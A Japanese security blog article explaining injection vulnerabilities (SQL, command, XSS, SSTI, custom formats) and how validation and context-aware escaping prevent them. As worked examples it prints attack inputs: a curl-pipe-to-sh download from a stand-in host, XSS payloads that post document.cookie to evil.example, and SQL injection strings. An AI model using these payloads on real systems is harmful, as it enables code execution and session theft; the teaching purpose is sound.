Flatt Security Blog

株式会社Flatt Securityの公式ブログです。プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

株式会社Flatt Securityの公式ブログです。
プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

SQL/コマンドインジェクション、XSS等を横串で理解する - 「インジェクション」脆弱性への向き合い方

こんにちは、@hamayanhamayan です。

本稿ではWebセキュリティに対する有用な文書として広く参照されているOWASP Top 10の1つ「インジェクション」について考えていきます。色々なインジェクションを例に挙げながら、どのようにインジェクションが起こるのかという発生原理から、どのようにインジェクションを捉え、より広くインジェクションの考え方を自身のプロダクト開発に適用していくかについて扱っていきます。

SQLインジェクションやコマンドインジェクション、XSSのようなインジェクションに関わる有名な手法について横断的に解説をしながら、インジェクションの概念を説明していきます。初めてインジェクションに触れる方にとっては、インジェクションの実例や基本的な考え方に触れることができ、その全体像を把握する助けになるかと思います。

また、既にいくつかのインジェクション手法を知っている方にとっても、「インジェクション」について様々な例を使って深堀していくことで、より抽象的に「インジェクション」を理解し、より広い場面においてインジェクション対策を適用できるようになります。インジェクションの考え方は非常にシンプルなものですが、実際に適用する際に考慮すべき仕様が多いことがあります。複雑なケースを通じて、そういった場面にどう考えるべきかの一例をお見せできればと思います。

インジェクションは名前が付いているインジェクション手法の中だけではなく、構造が存在する全ての部分で現れる考え方です。インジェクションの概念をより深く理解することで、自身のプロダクト開発において固有のインジェクション手法を見つけることができたり、また、新しいインジェクション手法についてもスムーズに理解できたりするようになります。本稿がインジェクションに対する、長い目で見て使えるセキュリティ的な考え方を習得する一助となれば幸いです。

OWASP Top 10 A03:2021 インジェクション

OWASP Top 10とは

OWASP Top 10というキーワードから始めていきましょう。OWASP Top 10とはOWASP(:Open Web Application Security Project)というコミュニティが公表している、Webアプリケーションのセキュリティのためのガイドラインのことです。開発者は自身のWebアプリケーションをより安全なものにするため、このガイドラインを開発しているアプリケーションに適用し、脆弱性の自己診断やより安全な開発に役立てることができます。名前にもあるように、開発者が特に注意すべき10の事項について解説されています。

最新のセキュリティトレンドに追従するため、OWASP Top 10は定期的に見直しが行われています。本稿執筆時点の最新は2021年公開のOWASP Top 10 2021であり、以下の10項目が含まれています。

  • A01:2021 アクセス制御の不備
  • A02:2021 暗号化の失敗
  • A03:2021 インジェクション
  • A04:2021 安全が確認されない不安な設計
  • A05:2021 セキュリティの設定ミス
  • A06:2021 脆弱で古くなったコンポーネント
  • A07:2021 識別と認証の失敗
  • A08:2021 ソフトウェアとデータの整合性の不具合
  • A09:2021 セキュリティログとモニタリングの失敗
  • A10:2021 サーバーサイドリクエストフォージェリ(SSRF)

どの項目も非常に重要な視点を含んでおり、全ての項目を正しく理解していくことが重要です。本稿ではこの中の「A03:2021 インジェクション」について深堀をして考えていきます。

A03:2021 インジェクション とは

A03:2021 インジェクションはOWASP Top 10 2021の中で3番目に取り扱われている項目です。OWASP Top 10の日本語版ページの説明を見てみると、どういった場合にインジェクションに対して脆弱になるかということが主だって書かれています。まずは、公式の説明の一部をそのまま引用してみましょう。

次のような状況では、アプリケーションはこの攻撃に対して脆弱です:
・ユーザが提供したデータが、アプリケーションによって検証、フィルタリング、またはサニタイズされない。
・コンテキストに応じたエスケープが行われず、動的クエリまたはパラメータ化されていない呼出しがインタープリタに直接使用される。

事前知識無しでは少しとっつきにくい印象を持たれるかもしれませんが、概念を理解していくと、公式の説明がとても簡潔に書かれていることが分かってきます。この説明は、まだ完全に理解する必要はありません。この文章を理解し、インジェクションについて更なる理解を深めることが本稿のゴールとなります。

次章からインジェクションの具体的な例を説明していきます。まずは、具体的なインジェクションの例について、動作原理を理解していきましょう。

注意点

重要なことですので、具体的な説明に移る前に注意点を記載しておきます。本稿はインジェクションの発生原理や考え方、また、その応用の仕方といった、概念の習得を目標としています。そのためになるべく仕様を参照しながら、独自のやり方で対策を行う形で解説を行っていきます。

しかし、これからの説明で実施するような、自分で仕様を参照して、自分で1から実装して対策を行うことはバッドプラクティスとされています。なぜなら、インジェクションを考える上で見ていく各言語の仕様はとても複雑なため、自力で完璧に理解し、対策し切ることは現実的ではないためです。重要なのはベストプラクティスに従って対策する事であり、そのベストプラクティスを使いこなすために必要な知識や考え方を本稿で習得することができればと思っています。

具体的な例でインジェクションを理解する

SQLインジェクション

SQLインジェクションという脆弱性から見ていきます。SQLインジェクションは、SQL文を構築する際にSQL文の断片のような入力が使われることで、意図していないSQL文を実行する手法のことです。理解を深めるために「ユーザが入力するusernameと合致する投稿をすべて取得する」ためのSQL文を考えてみます。

SELECT * FROM posts WHERE username = '[ユーザが入力するusername]'

一例ですが、このようなSQL文が考えられます。まずは、想定動作でこのSQL文を使ってみましょう。例えば、[ユーザが入力するusername]がflattだったとします。その場合、このSQL文は最終的には以下のように使用されます。

SELECT * FROM posts WHERE username = '[ユーザが入力するusername]'
+
[ユーザが入力するusername] = flatt
=
SELECT * FROM posts WHERE username = 'flatt'

実際にこのSQL文でデータベースにリクエストをすると、usernameがflattである投稿をすべて取得することができます。元々のSQL文のテンプレートに対して想定通り入力値が埋め込まれていますね。

別の入力を考えてみましょう。[ユーザが入力するusername]がflatt' OR is_deleted = 'trueである場合ではどのような結果になるでしょうか。

SELECT * FROM posts WHERE username = '[ユーザが入力するusername]'
+
[ユーザが入力するusername] = flatt' OR is_deleted = 'true
=
SELECT * FROM posts WHERE username = 'flatt' OR is_deleted = 'true'

1つ目の例とは雰囲気が異なります。このSQL文が実行されると「usernameがflattである、もしくは、削除済みの投稿を全て取得する」ことができます。最初にSQL文の目的として想定していた「ユーザが入力するusernameと合致する投稿をすべて取得する」SQL文とは違った取得処理が実行されてしまいました。

このように、SQL文を構築する際にSQL文の断片のような入力を使用することで、意図していないSQL文を実行する手法をSQLインジェクションと呼びます。想定ではない形でSQL文を"インジェクション"しています。

では、どうすれば良かったのでしょうか。

上記の例では[ユーザが入力するusername]はSQL文の中で1つの文字列として扱われるべきでした。しかし、入力値の中に'が含まれていたため、SQL文内で文字列が区切られてしまい、SQL文の一部を後ろに差し込むことができてしまいました。では、ユーザが入力するusernameとしてflatt' OR is_deleted = 'trueというのが送られてくるのがそもそも間違いだったのでしょうか?仕様外である場合もあるかもしれませんが、'=も許容したい場面があるかもしれません。…そもそも、SQL文の文字列に'を含めることはできるのでしょうか?

この答えを見つけるにはSQLの仕様を確認してみる必要があります。例としてMySQL 8․0の場合を見てみましょう。ここでは、'で囲われた文字列の中に'を含める方法の1つとして''に変換する方法が紹介されています。よって、与えられた文字列を1つの文字列として埋め込みたい場合は、この仕様に従う必要があったということです。なので、先ほどSQLインジェクションが発生してしまったケースでは以下のように埋め込む必要がありました。

SELECT * FROM posts WHERE username = '[ユーザが入力するusername]'
+
[ユーザが入力するusername] = flatt' OR is_deleted = 'true
=
SELECT * FROM posts WHERE username = 'flatt'' OR is_deleted = ''true'

先ほどの例と比べて、最後の埋め込みの段階で'''に変換されていることが分かります。このSQL文によって、usernameがflatt' OR is_deleted = 'trueである投稿をすべて取得する、想定通りの動作を実現することができました。このように、SQLインジェクションを予防するためには、埋め込み先の仕様に留意して、適切な変換を実施する必要があります。

仕様を正しく実装する難しさ

しかし、上記の変換はSQLインジェクション対策のベストプラクティスではありません。MySQL 8.0では'''に変換するように書かれていますが、実際にはこれだけではSQLインジェクションを完全に防ぐことはできません。例えば、'の代わりに\'を使うことでSQLインジェクションを起こすことができます。

SELECT * FROM posts WHERE username = '[ユーザが入力するusername]'
+
[ユーザが入力するusername] = flatt\' OR 1=1 # 
=
SELECT * FROM posts WHERE username = 'flatt\'' OR 1=1 # '

'''に変換して埋め込んだ場合の例です。MySQL 8.0の仕様を見ると、引用符文字の直前にエスケープ文字 () を指定することでも、'を文字列に埋め込むことができるとあります。よって、埋め込み後の'flatt\''というのは、flatt'という文字列として認識され、文字列がそこで終わり、その後に続くOR 1=1 # 'が別のSQL文として認識されてしまいます。今回の例では、このSQLインジェクションにより全ての投稿の取得を攻撃者に許してしまいます。もしこれがアカウント情報を扱うテーブルであれば、アカウント情報がすべて漏洩してしまいます。SQLインジェクション文の動作原理を詳しく知りたい方はこちらが参考になります。

つまりは、仕様を完全に理解して正しく変換を実装することは非常に難しいということです。なので、一般にはこのような変換は、実績のある関数やライブラリを使って実装する必要があります。本稿ではインジェクションの根本的な理解を目指しているので、細かな仕様にも触れつつ対策を考えていますが、実際には各脆弱性に対して確立されているベストプラクティスに従った対策が必要です。

コマンドインジェクション

次は、コマンドインジェクションを見ていきましょう。コマンドインジェクションとは、コマンド呼び出しの際にコマンドの断片のような入力が使われることで、意図していないコマンドを実行する手法のことです。これも理解を深めるために実例を使っていきましょう。「アップロードされた画像をバックエンドでリサイズをするような処理を実行する」ような処理を想定してみましょう。

convert -geometry [ユーザが入力する横幅]x[ユーザが入力する高さ]! uploaded.png profile_icon.png

convertはImageMagickというパッケージに含まれる画像変換のためのコマンドです。このコマンドを利用して、uploaded.pngをpx単位で指定された横幅・高さのサイズに変換して、profile_icon.pngとして保存します。 ユーザが入力するサイズはpx単位なので、想定動作であれば数値が入ります。300x400にリサイズしてみましょう。

convert -geometry [ユーザが入力する横幅]x[ユーザが入力する高さ]! uploaded.png profile_icon.png
+
[ユーザが入力する横幅] = 300
[ユーザが入力する高さ] = 400
=
convert -geometry 300x400! uploaded.png profile_icon.png

このコマンドを動かしてみると、画像uploaded.pngが横300px、縦400pxに変換され、画像profile_icon.pngとして出力されます。想定通り動作していますね。

次は、コマンドインジェクションを起こしてみましょう。つまり、コマンドの断片のような入力を入れてみます。横は300のままで縦に400! uploaded.png profile_icon.png && curl https://evil.example/malware | sh && touchが入力されたとします。

convert -geometry [ユーザが入力する横幅]x[ユーザが入力する高さ] uploaded.png profile_icon.png
+
[ユーザが入力する横幅] = 300
[ユーザが入力する高さ] = 400! uploaded.png profile_icon.png && curl https://evil.example/malware | sh && touch
=
convert -geometry 300x400! uploaded.png profile_icon.png && curl https://evil.example/malware | sh && touch uploaded.png profile_icon.png

このコマンドはどういった動作を引き起こすでしょうか?コマンドは&&で分けられて順番に実行されるので、以下のような処理が実行されることになります。

  1. convert -geometry 300x400! uploaded.png profile_icon.png 変換処理が実行される
  2. curl https://evil.example/malware | sh curlでマルウェアをダウンロードしてshで実行する
  3. touch uploaded.png profile_icon.png uploaded.pngとprofile_icon.pngのタイムスタンプを最新化する(コマンドの残りの部分でエラーが出ないようにするためだけで、特に意味のある処理ではないです)

コマンドインジェクションによって主に手順2が差し込まれて実行され、悪意あるコマンドが実行されてしまっています。このように、コマンド呼び出しの際にコマンドの断片のような入力を使用することで、意図していないコマンドを実行する手法をコマンドインジェクションと呼びます。想定ではない形でコマンドを"インジェクション"しています。

この場合はどうすれば良かったのでしょうか?

今回の入力値は出力画像の横幅と高さのpx値として入力されるはずでした。なので、今回使われた400! uploaded.png profile_icon.png && curl https://evil.example/malware | sh && touchという入力は明らかに想定外の入力となります。よって今回は入力値が1以上の整数であることをチェックして、チェックに失敗した場合はエラーにするようにすればコマンドインジェクションが発生することは無さそうです。想定動作に合わせて入力値を正しく検証することもインジェクションを防ぐためには非常に有用な方法の1つです。

改めて、A03:2021 インジェクション とは

2つ、インジェクションの例を説明しました。ここまで見てきたようにインジェクションとは、仕様を持つ構造に対して、構造物の断片のような入力を与えることで意図していない動作を引き起こす手法の総称です。ここで知識を整理するために、OWASP Top 10でのインジェクションの説明に戻って、振り返ってみましょう。

・ユーザが提供したデータが、アプリケーションによって検証、フィルタリング、またはサニタイズされない。

コマンドインジェクションの対策として「想定動作に合わせて入力値を正しく検証する」という方法を紹介しました。ユーザが入力する値が想定動作、プログラムの仕様に即しているかを正しく検証することで、インジェクションのリスクを大幅に下げることができます。これはインジェクションというのがそもそも、SQLインジェクションであればSQL文の断片、コマンドインジェクションであればコマンドの断片を入力として使うことで「意図していない」動作を引き起こすものです。意図しない動作を防止するには、意図しない入力をまずは許容しないことが重要です。

・コンテキストに応じたエスケープが行われず、動的クエリまたはパラメータ化されていない呼出しがインタープリタに直接使用される。

ここで述べられているのは、SQLインジェクションの対策として紹介した「埋め込み先の仕様に留意して、適切な変換を実施する」という方法に関することです。エスケープというのは仕様に応じた適切な変換の総称のことです。SQLインジェクションで'''というのに変換していましたが、これがエスケープです。なので、コンテキストに応じたエスケープというのは、想定動作を守るために従うべき仕様に応じて変換を実施することを指しています。先ほどのSQLインジェクションの例だと、SQL文で文字列として埋め込みたいというコンテキストがあるので、それに応じて'''にするようなエスケープを実施するという風に捉えることができます。

特にこの2つ、検証とエスケープは、インジェクションを防止するうえで欠かせない概念であり、両方行う必要があります。SQLインジェクションではエスケープの対策しか紹介しませんでしたが、同時にusernameに使える文字種をチェックすることでもSQLインジェクションのリスクを下げることができます。コマンドインジェクションでは検証の対策しか紹介しませんでしたが、例えば'[ユーザが入力する横幅]x[ユーザが入力する高さ]'のように入力値部分を'で囲み、コマンドの一引数であることを明確化してコマンドインジェクションの余地をなくしてしまう方法があります。これを使うとエスケープのように仕様に沿って安全に文字列を埋め込むことができます。

仕様に注目して別のインジェクション例を見てみよう "XSS"

ここまででインジェクションというのは、仕様やコンテキストを意識して、入力値の検証、埋め込む値のエスケープをする必要があるということを説明してきました。より、インジェクションを抽象的に理解するため、XSSを例に深堀してみましょう。XSSの発生原因となるHTMLファイルへのインジェクションは考えるべき仕様が多いのが特徴で、埋め込み場所に応じて個別の対策をする必要があります。色々な埋め込み先とそこで考えるべき仕様について見ていきながら、より複雑なインジェクションの考え方を見ていきましょう。

XSSとは

XSS(:Cross-Site Scripting)とは、悪意あるクライアントサイドのコードをウェブサイトに挿入するセキュリティ攻撃のことです。XSSが起こる原因としては複数ありますが、その中でもHTMLへのインジェクションを紹介します。これは、HTMLを構築する際にHTMLの断片のような入力が使われることで、意図していないタグの利用やJavaScriptを実行する手法のことです。XSSがどのような影響を及ぼすのかという点についてはFlatt Security Blogの「開発者が知っておきたい『XSSの発生原理以外』の話」もあわせてご覧ください。

タグのcontent

HTMLへのインジェクションの例を見ていきましょう。

<h1>ようこそ、[ユーザが入力するユーザ名]さん</h1>

ユーザが入力するユーザ名がHTMLタグのcontentに、タグではなく文字列として埋め込まれるのが想定動作です。もし、この埋め込みルールを見て、何かしらのインジェクションが発生するかもしれない…と想像できるようになっていれば、インジェクションの勘所を掴み始めています。実際に何も対策をしない状態でこのような埋め込みをすると、HTMLの断片のような入力を使用することで、想定していない動作を引き起こすことができます。

XSSが発生する埋め込み例を紹介します。

<h1>ようこそ、[ユーザが入力するユーザ名]さん</h1>
+
[ユーザが入力するユーザ名] = <script>fetch("https://evil.example/",{method:"POST",body:document.cookie})</script>
=
<h1>ようこそ、<script>fetch("https://evil.example/",{method:"POST",body:document.cookie})</script>さん</h1>

以上の例ではscriptタグを差し込むことでXSSを発動させています。scriptタグの内部には、cookieの情報を取得し、攻撃者のサーバに送信するJavaScriptコードが入っており、サイトを閲覧したユーザのセッション情報を収集しています。このように、HTMLへのインジェクションが可能な状態であれば、scriptタグなどを差し込むことでXSS、つまり、任意のJavaScriptコードを動かすことが可能になります。JavaScriptを使うと様々な悪用シナリオに発展させることができてしまうため、XSSは危険な脆弱性の1つです。

では、どうすれば良かったのかを考えてみましょう。

ユーザが<script>fetch("https://evil.example/",{method:"POST",body:document.cookie})</script>という入力値を純粋にユーザ名として利用したく、かつ、プログラムの仕様がそれを認めているとします。その場合は正しく表示させる必要が出てきますが、HTMLタグをそのまま表示する方法というのはあるのでしょうか?考えてみると、本稿ではページ上にタグを表示させていますが、スクリプト実行には至っていません。

SQLインジェクションの際の対策と同様に、このような入力値をHTMLタグのcontentとして入力するための仕様を理解し、その仕様に合わせて適切な変換を実施して埋め込む、つまり、エスケープしてから埋め込むことで解決できます。インジェクションを防止するために仕様を理解していく考え方は非常に重要で、そのような思考法を本稿では説明しているのですが、実際の開発場面では、仕様をすべて読み込んで追従していくのは難しい場面が多いため、既に大勢に支持されているベストプラクティスを採用することができます。

今回はWeb開発者のバイブルとして使用されているMDN Web Docsを参考にしてみましょう。MDN Web Docsの実体参照: HTML に特殊文字を含めるというセクションが参考になります。このページを見ると、<>"'&は特殊文字として扱われるため、文字参照に変換をして埋め込む必要があると記載があります。文字参照というのはアンパサンド&で始まり、セミコロン;で終わる、特殊文字をルールに従って変換するエンコード方式のことです。HTMLの仕様を制定しているWHATWGやMDN Web Docsの記載に従って文字参照(Character references)と表現していますが、HTML Entityとも呼ばれることがあり、こちらの方が馴染みのある方が多いかもしれません。

このサイトに従ってエスケープしてみましょう。今回は以下のようにエスケープをして埋め込むのが安全な埋め込み方でした。

<h1>ようこそ、[ユーザが入力するユーザ名]さん</h1>
+
[ユーザが入力するユーザ名] = <script>fetch("https://evil.example/",{method:"POST",body:document.cookie})</script>
=
<h1>ようこそ、&lt;script&gt;fetch(&quot;https://evil.example/&quot;,{method:&quot;POST&quot;,body:document.cookie})&lt;/script&gt;さん</h1>

ちなみに、このエスケープ手法についてはHTMLタグの属性値に埋め込む場合も同様です。MDN Web Docsに従い、<>"'&を文字参照に変換して埋め込むことでインジェクションを起こすことなく、埋め込むことができます。

URLへの埋め込み

次は、少し難易度を上げて、HTMLの以下の部分にユーザの入力値を埋め込む場合を考えてみましょう。ユーザが入力するキーワードがHTMLタグの属性値に入っているURLのQueryの値として埋め込まれるのが想定動作です。

<iframe src='https://flatt.example/search?keyword=[ユーザが入力するキーワード]'>

この場合は、どういう仕様に従って埋め込みをするべきでしょうか?HTMLの中に埋め込まれているので、タグのcontent同様に文字参照を利用するのか…?と思われるかもしれません。どのような仕様に従うべきかという観点から考えてみましょう。ユーザが入力するキーワードはHTMLタグの属性値の内部に埋め込まれていますが、同時にその中に含まれるURLのqueryの値としても使われています。つまり、満たすべき仕様が2つあるということです。

2つの仕様について、それぞれ考えてみましょう。

まず、ユーザが入力するキーワードに&があるとURLのQueryのkey-valueの区切り文字として認識されてしまい、URLのQueryの値への埋め込みという想定動作を壊してしまいそうです。ユーザが入力するキーワードがflatt&is_deleted=trueであった場合を考えてみましょう。

<iframe src='https://flatt.example/search?keyword=[ユーザが入力するキーワード]'>
+
[ユーザが入力するキーワード] = flatt&is_deleted=true
=
<iframe src='https://flatt.example/search?keyword=flatt&is_deleted=true'>

元々はQueryとしてkeywordというkeyだけが指定されていましたが、&がそのまま入力可能なことによりis_deleted=trueというkey-valueを追加することができました。これだけでは脆弱性には結びつかない可能性もありますが、インジェクションによる意図していない動作はしばしば脆弱性の種となります。

次に、ユーザが入力するキーワードに'があるとHTMLの属性値の区切り文字として認識されてしまい、属性値の内部への埋め込みという想定動作が壊れてしまいそうです。ユーザが入力するキーワードが' onload='alert("XSS")であった場合を考えてみましょう。

<iframe src='https://flatt.example/search?keyword=[ユーザが入力するキーワード]'>
+
[ユーザが入力するキーワード] = ' onload='alert("XSS")
=
<iframe src='https://flatt.example/search?keyword=' onload='alert("XSS")'>

HTMLタグの属性値を飛び出して、onloadとしてJavaScriptコードを埋め込むことに成功しました。iframeのsrcで指定されたサイトの読み込みが完了次第、埋め込まれたJavaScriptコードが実行され、XSSと書かれたアラートが表示されます。

さて、今回はどうすれば良かったのでしょうか?このような場合について、OWASPが提供しているOWASP Cheat Sheet Seriesに記載がありますので参考にしてみましょう。OWASP Cheat Sheet SeriesのCross Site Scripting Prevention Cheat SheetのOutput Encoding for “URL Contexts"にて同様のトピックが議論されています。エスケープの方法として、以下の手順が紹介されています。

  1. ユーザが入力するキーワードをURLエンコーディングすることでエスケープして、Queryの値として埋め込み、URLを完成させる
  2. 完成させたURLを属性値に合わせてエンコードすることでエスケープして、HTMLタグの属性値に埋め込む

包含関係を見ると、ユーザが入力するキーワードはまずURLとして埋め込まれます。そのため、まずはURLに埋め込むための仕様に沿ってエスケープを実施し、URLを完成させます。その後、完成したURLをHTMLタグの属性値として埋め込むために、前章で記載した文字参照へのエンコードによるエスケープを実施して、属性値への埋め込みを実現します。

実際にやってみましょう。インジェクションが発生してしまった2つの例を合わせたflatt&is_deleted=true' onload='alert("XSS")をエスケープして埋め込んでみます。エスケープと埋め込みの流れを図で表現すると、以下のようになります。

1. ユーザが入力するキーワードをURLエンコーディングすることでエスケープして、Queryの値として埋め込み、URLを完成させる

まずは、URLを完成させます。ユーザが入力するキーワードflatt&is_deleted=true' onload='alert("XSS")をURLエンコーディングします。MDN Web Docsによる説明を引用すると、URLエンコーディングはパーセントエンコーディングとも呼ばれるエンコード方式で、主にURLのコンテキストで特定の意味を持つ文字を変換します。OWASP Cheet Sheet Seriesでは特定の意味を持つ文字列だけでなく全ての文字を変換するよう書かれているのですが、今回はJavaScriptの標準ライブラリにあるencodeURIComponent関数を使って変換してみます。

上図にある変換結果を見てみると、多くの特殊文字が%HHに変換されて、想定通りURLのQueryの値としてユーザが入力するキーワードを埋め込むことができました。先ほどURLのQueryを区切っていた&%26に変換されています。しかし、今回使用したencodeURIComponent関数では、'は変換されないため、HTMLタグの属性値として文字列を埋め込むには不十分です。(URLエンコーディングのためにencodeURIComponent関数を使う是非には今回触れませんが、このような可能性を知っておくことは重要です。)

2. 完成させたURLを属性値に合わせてエンコードすることでエスケープして、HTMLタグの属性値に埋め込む

次はこのURLをHTMLタグの属性値に埋め込みましょう。前章で記載した文字参照へのエンコードを行うので、<>"'&を対象に文字参照に変換してみましょう。

'&apos;に変換してHTMLタグの属性値に埋め込むことで、想定通り埋め込むことができました。HTMLファイルは多くの仕様を内部に抱えています。それぞれの仕様に合わせて適切にエスケープしていくことで意図していないインジェクション結果を防ぎ、より安全にユーザの入力したデータを扱うことができます。

JavaScriptコード内部への埋め込み

最後に、最も複雑な例を挙げてXSSを使った説明を終えようと思います。HTMLの以下の部分に入力を埋め込むことを考えてみましょう。

<script>let keyword="[ユーザが入力するキーワード]";</script>

scriptタグの中にユーザが入力するキーワードを入力するケースを考えてみます。scriptタグの中ではJavaScriptが動いてるため、HTMLに値を埋め込んでいるというよりも、JavaScriptに対して文字列を埋め込んでいるような構図になります。ここまでの流れだと、JavaScriptに埋め込んでいるのでJavaScriptの断片のような入力を入れることでインジェクションできるのではないかという仮説が立ちます。その仮説は正しく、例えば、以下のような入力でXSSを発動させることができます。

<script>let keyword="[ユーザが入力するキーワード]";</script>
+
[ユーザが入力するキーワード] = "; fetch("https://evil.example/",{method:"POST",body:document.cookie}); //
=
<script>let keyword=""; fetch("https://evil.example/",{method:"POST",body:document.cookie}); //";</script>

ユーザが入力するキーワードはJavaScript内部で1つの文字列として扱われるのが想定動作でしたが、文字列の区切り文字"をうまく使うことで、閲覧者のcookieを攻撃者に送信するコードを差し込むことができました。

ここから、今まで通り仕様を考えてみます。"で文字列が区切られてしまうのが今回のケースでの問題なので、JavaScriptの文字列として"を含める際に守るべき仕様について考えてみます。MDN Web Docsに同じ内容を扱った記事があるので見てみましょう。ここでは文字列に"を含める場合にはエスケープせよと書かれてあります。そのため、"\"に変換してみましょう。

<script>let keyword="[ユーザが入力するキーワード]";</script>
+
[ユーザが入力するキーワード] = "; fetch("https://evil.example/",{method:"POST",body:document.cookie}); //
=
<script>let keyword="\"; fetch(\"https://evil.example/\",{method:\"POST\",body:document.cookie}); //";</script>

うまくいきました。他にも入力に\が含まれる場合など変換時に若干気を付ける必要がある部分はありますが、特にこれまでとは変わらないように見えます。しかし、実際には以下のような入力を使うことでscriptタグを終了させ、任意のHTMLタグを入力することができます。

<script>let keyword="[ユーザが入力するキーワード]";</script>
+
[ユーザが入力するキーワード] = </script><script src=//evil.example/evil.js>
=
<script>let keyword="</script><script src=//evil.example/evil.js>";</script>

一見問題ないように見えます。しかし、実際には以下のように実行されます。

<script>let keyword="</script>
<script src=//evil.example/evil.js>";</script>

JavaScriptの文字列内部に含まれる</script>がscriptタグの終端タグであると判定され、そこでJavaScriptが文字列の途中であっても終了してしまいます。そのために2つのscriptタグに分かれて解釈されることになります。それぞれ以下のように解釈されます。

  1. <script>let keyword="</script>については、let keyword="というJavaScriptコードが中途半端に残るため、実行エラーとなります
  2. <script src=//evil.example/evil.js>";</script>については、srcで指定されているパスが優先されるため、攻撃者が用意したJavaScriptが実行されてしまいます

これによって最終的には攻撃者の任意のJavaScriptコードの実行を許してしまうことになります。では、これを対策するにはどうすればいいのでしょうか?前章「URLへの埋め込み」ではURLの仕様に合わせてエスケープをして、その後、HTMLの属性値の仕様に合わせてエスケープすることでうまく処理することができました。しかし今回は、JavaScriptの仕様に合わせてエスケープするまではいいのですが、scriptタグの仕様に合わせて</script>を解決するための良いエスケープ手段がありません。

解決策の一例として、OWASP Cheat Sheet Seriesに記載のある方法を紹介します。ここで紹介されている方法は、JavaScriptに文字列を埋め込む際は\xHHにすべて変換して埋め込むというものです。これは16進エスケープシーケンスと呼ばれていて、任意のASCII文字を変換する方法です。JavaScriptでは、普通にASCIIで表現された文字列と、16進エスケープシーケンスで表現された文字列は同じなので、これによって</script>という文字列も含めてエスケープしてしまうという戦略です。

JavaScriptの仕様ではここまでエスケープする必要はないのですが、scriptタグの仕様を何とか回避するためには仕様の垣根を越えて対策をしなければいけないという一例でした。他にも、inputタグなどに一旦入力値を格納して、JavaScriptでそのタグにアクセスすることで入力値を取り出すという方針もあります。これは、HTMLの属性値であれば入力値を単一文字列として確実に格納することができるためです。

JavaScriptの例で伝えたいのは、どれだけ仕様に留意して実装しても、このような外れ値のような現象が発生することがあるということです。このような例を見るたびに、自力での考慮と実装の限界と、実績のあるベストプラクティスを利用することの重要性を理解することができます。

このようにHTMLにユーザが入力する値を埋め込むといっても、HTMLのcontentに埋め込むのか、URLに埋め込むのか、JavaScriptに埋め込むのかで状況がかなり変わってくるということを感じていただけたと思います。他にも様々な例が存在し、例えばCSSやSVGといったものにも複数の仕様が絡むインジェクション発生の余地があります。そのため、HTMLならこのXSS対策だ、と画一的に対策を施すのではなく、何に埋め込むかということを理解して、その場に合った対策を施していくことが大切です。

応用編

今埋め込もうとしている先にはどのような仕様があるかということを考えると、すべての場所にインジェクションの可能性が生まれます。応用編として、インジェクションの考え方を色々な場面で適用してみましょう。

テンプレートエンジン + インジェクション = SSTI

昨今では直接HTMLを生成するのではなく、テンプレートエンジンを使うことも多くなってきました。例えば、JavaScriptのテンプレートエンジンejsであれば

<h1>Hello! <%= username %> san!</h1>

と書けば、<%=%>で囲われた変数がテンプレートエンジン側で展開されて、

<h1>Hello! Flatt Security san!</h1>

のように置換して表示してくれます。今までの考え方だと、埋め込みが行われるのでインジェクションが発生するのでは…と考える所です。その姿勢は非常に正しく、出力方法によってはインジェクションが発生することもあります。最近のテンプレートエンジンではSecure by Defaultの設計になっていることが多く、大体の場合、用意されている自動で適切にエスケープされる出力方式)を利用することで安全に埋め込むことができます。一方で、エスケープせずに埋め込む方法も用意されている場合がほとんどなので、そちらを使う場合は要注意です。

では、ここで以下のような例を考えてみましょう。

<[ユーザが入力するタグ名]>Hello! <%= username %> san!</[ユーザが入力するタグ名]>

テンプレートエンジンの構文を使わずにユーザの入力値を埋め込み、文章の構造を可変にできるようにしました。h1やh3などを入れるのが想定動作ですが、このような場合はどのようなインジェクションが発生するでしょうか?

このような場合、HTMLタグに対するインジェクションも可能性がありますが、ユーザの入力値を埋め込んだ後にテンプレートエンジンによる評価が実行されるため、テンプレートエンジンの仕様も考慮する必要がありそうです。例えば、以下のようにテンプレートエンジンの記法を使って、想定していない動作を引き起こすことができます。

<[ユーザが入力するタグ名]>Hello! <%= username %> san!</[ユーザが入力するタグ名]>
+
[ユーザが入力するタグ名] = <%= username %>
=
<<%= username %>>Hello! <%= username %> san!</<%= username %>>

以上の例では想定していない動作を引き起こすだけのサンプルを提示しましたが、実際にはこのインジェクションを応用することで任意のコード実行まで達成することができます。

テンプレートエンジンに対するインジェクションの手法を全く知らない状態であっても、インジェクションの考え方を応用すると、その可能性に気が付き、知らなかったために脆弱性を作り込んでしまったという状況を回避することができます。ちなみに、この手法はSSTI(:Server-Side Template Injection)と呼ばれています。

独自プロトコル + インジェクション

インジェクションの可能性は広く使われている技術にだけ発生するものではありません。例えば、データベースに独自のプロトコルで情報を格納していたりしませんでしょうか?ある一定のルールで情報を整形して入れている場合、そこには仕様があり、想定された使われ方があり、インジェクションの考え方が適用可能になります。

例えば、以下のようにカンマ区切りでデータを格納するように決めてデータを入れたとしましょう。

[username1],[username2],[username3]

この時にusernameに意図しない入力が与えられることで、想定と違う使い方に発展する可能性はないでしょうか?何かしらのインジェクションは発生しないでしょうか?何も対策がないと、入力にカンマがあった場合に、1つのusernameを追加したつもりが2つのusernameが入ってしまうかもしれません。以下のようなケースが考えられます。

  1. hoge,fuga,foo,barとデータが格納されているとする
  2. ユーザー名がflatt,administratorというユーザーを用意して追加するとhoge,fuga,foo,bar,flatt,administratorとなる
  3. 利用時はカンマで分割するので、flattとadministratorという2つの別々のユーザーとして取り出される

このような想定とは違う使われ方、インジェクションが発生するのではないかというのを独自プロトコルでも応用して適用することができます。

他のインジェクションと同じような考え方をすることで対策も考えることができます。エスケープによって,を別の文字に変換して埋め込む方法もありますし、usernameに,を許容していないならば検証によって排除することもできます。このように独自プロトコルの場合であっても、インジェクションの考え方を適用して、脆弱な点を見つけ、対策することができます。

インジェクションの発生原理や考え方の説明はここまでです。ユーザが入力する値を埋め込む前にどういう仕様を満たすべきか、意図せぬ埋め込みになりそうな時はどうするべきかを考えることで、インジェクションの考え方をより広い範囲で適用することができます。すべての仕様を持つ構造物に何かを埋め込む際にインジェクションの考え方が出てきます。インジェクションをより抽象的に理解することで、新しい技術が出てきても柔軟にインジェクションの考え方を適用し、より安全な開発に役立てることができればと思います。

最後に:対策方法

